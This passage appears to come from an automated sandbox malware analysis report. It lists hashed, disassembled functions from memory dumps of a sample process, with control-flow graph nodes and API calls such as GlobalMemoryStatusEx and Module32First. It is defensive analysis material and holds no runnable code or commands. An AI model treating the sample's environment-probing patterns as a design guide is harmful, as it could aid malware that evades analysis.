                                                                                                                        • Opcode ID: 5a8144456eb0986199d18a8243a70af9227c19ab6ae9e27c660d1ae3e49065af
                                                                                                                        • Instruction ID: 6e0b010c2b820fc7c4ffa38815c1620c2ee8920d1005fa556d8e81c668caec0b
                                                                                                                        • Opcode Fuzzy Hash: 5a8144456eb0986199d18a8243a70af9227c19ab6ae9e27c660d1ae3e49065af
                                                                                                                        • Instruction Fuzzy Hash: 50D129B3B14101EFEB048A78D4D2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F921F5 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 9467db2c87d77cf8456b3b697fdc42fbb299afc6f007baac7cb0255e0f53ca9d
                                                                                                                        • Instruction ID: a9c8dcd0fe8c33b65a1e24d980bbad409b9c48e50e2a5324d7bf457d8bb4dc8a
                                                                                                                        • Opcode Fuzzy Hash: 9467db2c87d77cf8456b3b697fdc42fbb299afc6f007baac7cb0255e0f53ca9d
                                                                                                                        • Instruction Fuzzy Hash: 04D118B3B14101EFEB048A78D4D2BED77F2EB94310F5689B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F922C1 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e1dbf8ca64b00a946b94cc71f20ff41f3cfe07c485b369960743fea435ba50e2
                                                                                                                        • Instruction ID: 59d3f083bcba1613a5e9f6cdb171e8bd9e262a493c6b7004606ea09acbfcc7eb
                                                                                                                        • Opcode Fuzzy Hash: e1dbf8ca64b00a946b94cc71f20ff41f3cfe07c485b369960743fea435ba50e2
                                                                                                                        • Instruction Fuzzy Hash: C7D129B3B14105EFEB048A78D4D2BED77F2EBA0310F5685B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F91A58 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f3251cb16b128380f802dbad92582f550bd7b996ac2bd1a2d84b6ba216c16872
                                                                                                                        • Instruction ID: 39066ddd4fc34b423a38fe34f20b576fdaa3812ed34aa4c6751b503038faa2f2
                                                                                                                        • Opcode Fuzzy Hash: f3251cb16b128380f802dbad92582f550bd7b996ac2bd1a2d84b6ba216c16872
                                                                                                                        • Instruction Fuzzy Hash: 08D118B3B14105EFEB048A78D4D2BED77F2E794310F5688B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F91BF4 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 5990848a976dec1a67a5871e30b36b2574dd5fae4952d2ba859a35b22e1be6d3
                                                                                                                        • Instruction ID: 98bd3540c2af33c70e5dbd5789a3faa5bef8bec36e1c62aa82726fc50797ea0b
                                                                                                                        • Opcode Fuzzy Hash: 5990848a976dec1a67a5871e30b36b2574dd5fae4952d2ba859a35b22e1be6d3
                                                                                                                        • Instruction Fuzzy Hash: E2D129B3B14105EFEB048A78D4D2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F92150 Relevance: .4, Instructions: 443COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 21c1cf983939000e7edea252dfc40ffeacb52435cad9ee181761fa344790223d
                                                                                                                        • Instruction ID: 798ddc764b10814d32b16ee4ec6819c13bfbbea5acf54e3c179f44313013b60d
                                                                                                                        • Opcode Fuzzy Hash: 21c1cf983939000e7edea252dfc40ffeacb52435cad9ee181761fa344790223d
                                                                                                                        • Instruction Fuzzy Hash: E6D129B3B14105EFEB048A78D4D2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F9247C Relevance: .4, Instructions: 438COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 48341f2e500867abe3061cdc5d71810cbdfb2f55dbd47972f485af0dc046350b
                                                                                                                        • Instruction ID: 0fad02038c86eb9059b067b88631e5abbb4a1c3af3a89c2c7a6da739f1e41f88
                                                                                                                        • Opcode Fuzzy Hash: 48341f2e500867abe3061cdc5d71810cbdfb2f55dbd47972f485af0dc046350b
                                                                                                                        • Instruction Fuzzy Hash: 3CD12BB3B14105EFFB048A78D4C2BED77E2E7A4310F1689B9D0058BA11DA79AE4BC740
                                                                                                                        Function 07CF2AD0 Relevance: .3, Instructions: 317COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 8d92c54fb4d85bc0079ff73ff1b808ba73e6e6854299a2e7d1a6e82b835e4be4
                                                                                                                        • Instruction ID: 2035b919961e619a85f84bad6e2b7e4944cfca9186078f99527b050ace6f65e5
                                                                                                                        • Opcode Fuzzy Hash: 8d92c54fb4d85bc0079ff73ff1b808ba73e6e6854299a2e7d1a6e82b835e4be4
                                                                                                                        • Instruction Fuzzy Hash: F6E11CB4A04259CFEBA4DF25D88879DBBB2BB89301F5081E6C519AB354DB709EC5CF00
                                                                                                                        Function 04F9E268 Relevance: .2, Instructions: 250COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1ff3b607dca33a677df15da283afd86c2652e0db40bd5cac96a83889c36245ea
                                                                                                                        • Instruction ID: 8e5d5a1b834bf1f57ec8c2b887f6b4af003e71a03a9bbc1a4ea8ce9c8782452c
                                                                                                                        • Opcode Fuzzy Hash: 1ff3b607dca33a677df15da283afd86c2652e0db40bd5cac96a83889c36245ea
                                                                                                                        • Instruction Fuzzy Hash: 6BA17930B04242DFFB28EB24D455B6A77E3EB88300F5588A9C1168B3D5EF75BD868B51
                                                                                                                        Function 04F92638 Relevance: .2, Instructions: 225COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1b5a87d66010e5593e5e46405d3d76b81bc4f9168e748d04cb0a8e6cfaea9389
                                                                                                                        • Instruction ID: a5ff5a53a4577da47275cf501a0b203478b55b3a3025d2a4b3bba5f0fe2cb349
                                                                                                                        • Opcode Fuzzy Hash: 1b5a87d66010e5593e5e46405d3d76b81bc4f9168e748d04cb0a8e6cfaea9389
                                                                                                                        • Instruction Fuzzy Hash: 4481AB32B00205EFEB04CF68D484BAAB7E3FB84300F5289A9D4169B754D775AD8BDB40
                                                                                                                        Function 04F9B8B8 Relevance: .2, Instructions: 202COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 69896c0f2ed82610faf7318360760e05429ab51b29537eab3287b283b9904185
                                                                                                                        • Instruction ID: 9dd03b8d980665732f646eec7e5ae2ac36d360a0f556784420fcc73a009c23b1
                                                                                                                        • Opcode Fuzzy Hash: 69896c0f2ed82610faf7318360760e05429ab51b29537eab3287b283b9904185
                                                                                                                        • Instruction Fuzzy Hash: 25719F31B04205CFEB08DE69D4447BABAE3BB88300F55856AD0159B394E775FE8BDB81
                                                                                                                        Function 04F9B8A8 Relevance: .2, Instructions: 201COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 16883ac17ba6ee6f4114fe3372e9bb592272d511d5d20290676e64896ba4477d
                                                                                                                        • Instruction ID: fcc0ce47da3d678ef3aed94ed39ab65dac4aa3b733cddcab1766898b47be7ea6
                                                                                                                        • Opcode Fuzzy Hash: 16883ac17ba6ee6f4114fe3372e9bb592272d511d5d20290676e64896ba4477d
                                                                                                                        • Instruction Fuzzy Hash: AD719031B04205CFEB08CE69D4447BABBE3BB88310F55856AD0059B294E775FE8BDB80
                                                                                                                        Function 04F9D600 Relevance: .2, Instructions: 191COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b9a16664e8934430bf36d3e1ed46cc30dcff361b81258ababda1ba3dd9253dd9
                                                                                                                        • Instruction ID: 6460d8be94eb7006a2b37dd0019d8781827e4745813a9457940dbfe80036ab03
                                                                                                                        • Opcode Fuzzy Hash: b9a16664e8934430bf36d3e1ed46cc30dcff361b81258ababda1ba3dd9253dd9
                                                                                                                        • Instruction Fuzzy Hash: 9871BE39B04145CFEB48CB28C445BAAB7F7EBC8300F648466D209EB791DA75AD469B41
                                                                                                                        Function 04F97971 Relevance: .2, Instructions: 190COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 724dfe17bd4ea57c061ba44bada89df8520711f9f7741f39c798552f8cd79dbe
                                                                                                                        • Instruction ID: b0bd4b4d94cb05276170b628fea112885726e28352e09c2e5762e2b3630582fb
                                                                                                                        • Opcode Fuzzy Hash: 724dfe17bd4ea57c061ba44bada89df8520711f9f7741f39c798552f8cd79dbe
                                                                                                                        • Instruction Fuzzy Hash: 41816CB0E14246DFEF48DF64D4497AD7BF2EB84305F0084AAD0269B254D7B4AA8ACF41
                                                                                                                        Function 04F97980 Relevance: .2, Instructions: 184COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 478ffa59555757bcbf7a55c232ec154acbc535b09a5adf0e091be3538157b2f6
                                                                                                                        • Instruction ID: d27043d5be3bcb513e95f4173d34b7c4140ebf17e4eb3e34fbf16aa816b709e9
                                                                                                                        • Opcode Fuzzy Hash: 478ffa59555757bcbf7a55c232ec154acbc535b09a5adf0e091be3538157b2f6
                                                                                                                        • Instruction Fuzzy Hash: 58815CB0E1424ADFEF48DF65D44976D77F2FB84305F0080AAD1269B254E7B4AA8ACF41
                                                                                                                        Function 04F97D60 Relevance: .2, Instructions: 173COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 800028146692ba36895967522d3914542c09ea451a4ac494618451e73a579c3e
                                                                                                                        • Instruction ID: 1a14e1bb093654a710086d461291acad5a2f669bbf67875151210e466dab2105
                                                                                                                        • Opcode Fuzzy Hash: 800028146692ba36895967522d3914542c09ea451a4ac494618451e73a579c3e
                                                                                                                        • Instruction Fuzzy Hash: 39618F74E00685CFEB0DEF7BE840699BFE3BBC8201B14C16AD1149B328EB79554ACB51
                                                                                                                        Function 04F9B584 Relevance: .2, Instructions: 169COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 75340d946f499a80d1a91e6cd95c487a6d9f34a22e1dbd522cc6dc2dcb33280d
                                                                                                                        • Instruction ID: d68dbcfff12f3b43a4c60688f84a1b6d9a7f63f999d007bb1f8da17548388cd1
                                                                                                                        • Opcode Fuzzy Hash: 75340d946f499a80d1a91e6cd95c487a6d9f34a22e1dbd522cc6dc2dcb33280d
                                                                                                                        • Instruction Fuzzy Hash: 23510131B04205CFEF54DB69E59876E7AE3FBC8301F20846AC016DB294EA35BC478766
                                                                                                                        Function 04F9B570 Relevance: .2, Instructions: 162COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 45feeb2ee636c5a77e4aa3134bb1caf81ecc60ed43b554386b14809188994db8
                                                                                                                        • Instruction ID: 940d366c0fb5b6f2e63af69662bc49a60a9601abe01e46ac4d30fe383ee7db3a
                                                                                                                        • Opcode Fuzzy Hash: 45feeb2ee636c5a77e4aa3134bb1caf81ecc60ed43b554386b14809188994db8
                                                                                                                        • Instruction Fuzzy Hash: C751E131B04245CFFF54DA65E55836EBBE3FB88301F24846AC016DB294EA35BC879726
                                                                                                                        Function 04F9E738 Relevance: .1, Instructions: 102COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 32c2cbb2e0bb11b7187190abcfbc1d2c97ff20897fecd022bd409868cef69267
                                                                                                                        • Instruction ID: e0deed396a93bc226a24d82a713ecb16602e620cacb247b9adb21d4664b5da66
                                                                                                                        • Opcode Fuzzy Hash: 32c2cbb2e0bb11b7187190abcfbc1d2c97ff20897fecd022bd409868cef69267
                                                                                                                        • Instruction Fuzzy Hash: F541E031A04109CFFF14CBA4D4887AA7BE2EB89301F148476D116AB6D0DB39AD86CB57
                                                                                                                        Function 04F95098 Relevance: .1, Instructions: 77COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 38b9ba0397431fd535e450926f4f682f1ef55238c572bf24484b09d9cd5ac939
                                                                                                                        • Instruction ID: bddb4f495db1179d5014d08f89a6479ec3bcc75de2ea2363e67b39128a734819
                                                                                                                        • Opcode Fuzzy Hash: 38b9ba0397431fd535e450926f4f682f1ef55238c572bf24484b09d9cd5ac939
                                                                                                                        • Instruction Fuzzy Hash: 3621D633309102BBEB168E2A9884667B7E7A7C5310F09D473D016CB225E674EE878681
                                                                                                                        Function 07CF0040 Relevance: 10.7, Strings: 8, Instructions: 700COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 0 7cf0040-7cf052e 75 7cf0534-7cf0544 0->75 76 7cf0a80-7cf0ab5 0->76 75->76 77 7cf054a-7cf055a 75->77 80 7cf0ab7-7cf0abc 76->80 81 7cf0ac1-7cf0adf 76->81 77->76 79 7cf0560-7cf0570 77->79 79->76 82 7cf0576-7cf0586 79->82 83 7cf0ba6-7cf0bab 80->83 93 7cf0b56-7cf0b62 81->93 94 7cf0ae1-7cf0aeb 81->94 82->76 84 7cf058c-7cf059c 82->84 84->76 86 7cf05a2-7cf05b2 84->86 86->76 87 7cf05b8-7cf05c8 86->87 87->76 88 7cf05ce-7cf05de 87->88 88->76 90 7cf05e4-7cf05f4 88->90 90->76 91 7cf05fa-7cf060a 90->91 91->76 95 7cf0610-7cf0a7f 91->95 100 7cf0b79-7cf0b85 93->100 101 7cf0b64-7cf0b70 93->101 94->93 99 7cf0aed-7cf0af9 94->99 106 7cf0b1e-7cf0b21 99->106 107 7cf0afb-7cf0b06 99->107 110 7cf0b9c-7cf0b9e 100->110 111 7cf0b87-7cf0b93 100->111 101->100 109 7cf0b72-7cf0b77 101->109 112 7cf0b38-7cf0b44 106->112 113 7cf0b23-7cf0b2f 106->113 107->106 122 7cf0b08-7cf0b12 107->122 109->83 110->83 111->110 120 7cf0b95-7cf0b9a 111->120 115 7cf0bac-7cf0bce 112->115 116 7cf0b46-7cf0b4d 112->116 113->112 123 7cf0b31-7cf0b36 113->123 126 7cf0bde 115->126 127 7cf0bd0 115->127 116->115 121 7cf0b4f-7cf0b54 116->121 120->83 121->83 122->106 132 7cf0b14-7cf0b19 122->132 123->83 131 7cf0be0-7cf0be1 126->131 127->126 130 7cf0bd7-7cf0bdc 127->130 130->131 132->83
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID: pc$0oc$<oc$Hoc$Toc$loc$nc$oc
                                                                                                                        • API String ID: 0-1566053913
                                                                                                                        • Opcode ID: 9a74fb63fa0edc12306c0066e1227707b1eeeda9125d17d996790c516f50da44
                                                                                                                        • Instruction ID: db6a3a43fd78bf11548e12d63e521eaf41afd50dd3edd10b1779fbe36dede738
                                                                                                                        • Opcode Fuzzy Hash: 9a74fb63fa0edc12306c0066e1227707b1eeeda9125d17d996790c516f50da44
                                                                                                                        • Instruction Fuzzy Hash: 50523174E003198FFB65DBA4C850B9EBBB2EF98300F1080A9D50A6B395DF395D869F51
                                                                                                                        Function 0A7AA9E8 Relevance: 1.6, APIs: 1, Instructions: 130COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 642 a7aa9e8-a7aaa03 643 a7aaa2d-a7aaa4c call a7a59b0 642->643 644 a7aaa05-a7aaa2c call a7a59a4 642->644 650 a7aaa4e-a7aaa51 643->650 651 a7aaa52-a7aaab1 643->651 658 a7aaab3-a7aaab6 651->658 659 a7aaab7-a7aab44 GlobalMemoryStatusEx 651->659 663 a7aab4d-a7aab75 659->663 664 a7aab46-a7aab4c 659->664 664->663
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3726642362.000000000A7A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7A0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_a7a0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d03b026918bc85d5bc53c088b4e99297cf97abca703a8ad1e153f30b8474aa39
                                                                                                                        • Instruction ID: cbb0a1d29010b53da058965ce59b68944e0d96270e718965aaf0f8f214b8e0dd
                                                                                                                        • Opcode Fuzzy Hash: d03b026918bc85d5bc53c088b4e99297cf97abca703a8ad1e153f30b8474aa39
                                                                                                                        • Instruction Fuzzy Hash: 16412232D103459FDB14DF69D8007AEBBF0AFC9210F15866ED508AB341EB789846CBE0
                                                                                                                        Function 0A7AAB78 Relevance: 1.6, APIs: 1, Instructions: 66COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 667 a7aab78-a7aab80 668 a7aab82-a7aaba6 667->668 669 a7aab10 667->669 672 a7aabb8 668->672 673 a7aaba8-a7aabb6 668->673 670 a7aab16-a7aab44 GlobalMemoryStatusEx 669->670 674 a7aab4d-a7aab75 670->674 675 a7aab46-a7aab4c 670->675 676 a7aabba-a7aabbc 672->676 673->676 675->674 679 a7aabc9-a7aabcb 676->679 680 a7aabbe-a7aabc4 676->680 681 a7aabdd 679->681 682 a7aabcd-a7aabdb 679->682 685 a7aacd9-a7aacdf 680->685 683 a7aabdf-a7aabe1 681->683 682->683 686 a7aac0c-a7aac16 683->686 687 a7aabe3-a7aabe9 683->687 692 a7aac18-a7aac1a 686->692 693 a7aac27-a7aacd1 686->693 688 a7aabeb-a7aabed 687->688 689 a7aabf7-a7aac07 687->689 688->689 689->685 695 a7aac22 692->695 693->685 695->685
                                                                                                                        APIs
                                                                                                                        • GlobalMemoryStatusEx.KERNEL32 ref: 0A7AAB37
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3726642362.000000000A7A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7A0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_a7a0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID: GlobalMemoryStatus
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 1890195054-0
                                                                                                                        • Opcode ID: 497be9c2f1e308daff82afd09e1927feeb48a996cf6744cdec99bd7f84fa1f33
                                                                                                                        • Instruction ID: 7ee23b7782f5bfb7c0b66870356e686ddbcfce43adfc0931f4cbe488988ed418
                                                                                                                        • Opcode Fuzzy Hash: 497be9c2f1e308daff82afd09e1927feeb48a996cf6744cdec99bd7f84fa1f33
                                                                                                                        • Instruction Fuzzy Hash: 61216A72D0022AEFDB20DFA9D8057EEBBB0EF48310F51866AD908A7241D3795945CFE1
                                                                                                                        Function 0A7AAAD0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 697 a7aaad0-a7aab0e 698 a7aab16-a7aab44 GlobalMemoryStatusEx 697->698 699 a7aab4d-a7aab75 698->699 700 a7aab46-a7aab4c 698->700 700->699
                                                                                                                        APIs
                                                                                                                        • GlobalMemoryStatusEx.KERNEL32 ref: 0A7AAB37
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3726642362.000000000A7A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7A0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_a7a0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID: GlobalMemoryStatus
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 1890195054-0
                                                                                                                        • Opcode ID: c6c5dd5928315165642cb5530047fca3923e48c999692394b72bbb651e2552bc
                                                                                                                        • Instruction ID: 12c280f627cef83b04b9aaa3e134a2a04be0b1249b4b1a5ffd902be8d063a58f
                                                                                                                        • Opcode Fuzzy Hash: c6c5dd5928315165642cb5530047fca3923e48c999692394b72bbb651e2552bc
                                                                                                                        • Instruction Fuzzy Hash: 3D1126B1C00259DFDB10CF9AC444BDEFBF4AF48320F11822AD918A7240D778A945CFA5
                                                                                                                        Function 0078E068 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        • Executed
                                                                                                                        • Not Executed
                                                                                                                        control_flow_graph 909 78e068-78e075 call 78ddcc 912 78e082-78e086 909->912 913 78e077-78e081 Module32First 909->913
                                                                                                                        APIs
                                                                                                                        • Module32First.KERNEL32(00000000,00000224), ref: 0078E079
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3688805957.0000000000787000.00000040.00000001.01000000.0000000B.sdmp, Offset: 004C0000, based on PE: true
                                                                                                                        • Associated: 00000018.00000002.3688367288.00000000004C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688624417.00000000004F7000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000004FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000531000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000533000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000539000.00000040.00000001.01000000.0000000B.sdmpDownload File
